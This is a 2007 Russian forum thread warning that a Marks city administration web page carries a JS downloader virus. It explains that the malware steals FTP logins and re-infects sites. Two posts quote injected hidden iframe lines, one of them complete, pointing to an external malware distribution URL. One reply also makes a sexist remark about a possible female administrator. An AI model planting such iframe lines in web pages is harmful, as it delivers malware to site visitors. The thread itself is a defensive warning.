1 Тема от Михаил

Тема: Осторожно, вирус на одном из марксовских сайтов

Вирус находится на странице marks. volgaline. ru/ smi/ (все пробелы убрать) Не заходите туда с открытым JS

Пожалуйста, у кого имеется контакт с администраторами данного сайта... позвоните и попросите убрать.... 
Речь идет об "Афицальном сайти Аминистрации города Маркса"...


Предположительно - одна из свежих модификаций Downloader.JS.Psyme.ct

Данный тип вирусов распространяется следующим образом: вирус поражает компьютер клиента, если тот зашел на инфицированный сайт небезопасным браузером (например, если не установлены все последние обновления для браузера от его производителя). После этого вирус отслеживает логины и пароли от FTP-соединений в популярных программах FTP-клиентах. А затем подключается с данными логинами и паролями по протоколу FTP и заменяет один или несколько индексных файлов на сервере, дописывая в них свой код примерно такого содержания:

<iframe src="http://81.95.../traff/..." width=1 height=1></iframe>

Таким образом сайт инфицируется и тоже начинает участвовать в распространении вируса.

На данном сайте вирусов нет. Просьба не беспокоитсья.

2 Ответ от L=@=ns (21.10.07 17:18 отредактировано L=@=ns)

  • L=@=ns
  • Подполковник

Re: Осторожно, вирус на одном из марксовских сайтов

Самыми безопасными браузерами, как ни странно, являются не Internet Explorer, а, например, Опера, Mozilla Firefox (которыми я и пользуюсь).
Это скорее всего обусловлено тем, что IE применяют большинство пользователей Интернет и хакеры и прочие нехорошие товарищи всевозможные дыры ищут именно в этом браузере. Поэтому по статистике к группе риска относятся те, кто смотрит сайты посредством IE, а для загрузки (или скачки) файлов по FTP использует Тотал командер

P.S. Мне в позапрошлом году тоже всадили подобный вирус в один из сайтов на индексную страницу. Толи траффик перекачивали, толи рейтинг себе поднимали, гады. ab

3 Ответ от Михаил

Re: Осторожно, вирус на одном из марксовских сайтов

На данную страничку я сегодня оперой пытался вломиться...
Она не заругалась даже, просто тупо начала скачивать страницу объемом 3,5 мегабайта (!!!)
Сразу же остановил этот беспредел...

Потом ради эксперимента на MSIE попробовал, мгновенно на диск схраняются штуки три вирусняка и начинают хором обращаться к каким то своим уделенным адресам...

4 Ответ от Kravchenko

Re: Осторожно, вирус на одном из марксовских сайтов

так и не убрали....

Кто-нибудь в суд подайте... или в прокуратуру... на лицо деяние, подпадающее под статью уголовного кодекса со стороны администрации....

5 Ответ от mgm1974

Re: Осторожно, вирус на одном из марксовских сайтов

Просто там специалист новый молодой. Скорее всего очень слабо разбирается в программном обеспечении.

6 Ответ от lamer

Re: Осторожно, вирус на одном из марксовских сайтов

mgm1974 пишет:

Просто там специалист новый молодой. Скорее всего очень слабо разбирается в программном обеспечении.

Новый, молодой это хорошо. А вот насчёт, "Скорее всего очень слабо разбирается в программном обеспечении", куда смотрели те кто принимал его на работу. Это же не секретарша для которой главное ноги а не умение разбираться в делопроизводстве. Или там специалист в юбке? ab Тогда всё логично.

7 Ответ от Михаил

Re: Осторожно, вирус на одном из марксовских сайтов

Снова какая-то бяка висит... на этот раз уже другого плана....
<iframe src="http://bobrik.cn/tds/index.php?out=1195781722" width=0 height=0></iframe>
Не решился туда ввалиться без средств индивидуальной защиты... а то, посмотрел бы что там... ужасно любопытно...

8 Ответ от Михаил

Re: Осторожно, вирус на одном из марксовских сайтов

Ну вашу мать так-то... Снова здорово...  Вроде взрослые люди занимаются... Вроде адрес сайта в газетах публикуется...

Ребята, пожалуйста, экспериментируйте с хакерскими штучками где-нибудь в другом месте...

9 Ответ от The_raven

Re: Осторожно, вирус на одном из марксовских сайтов

а мне вирусы не страшны ab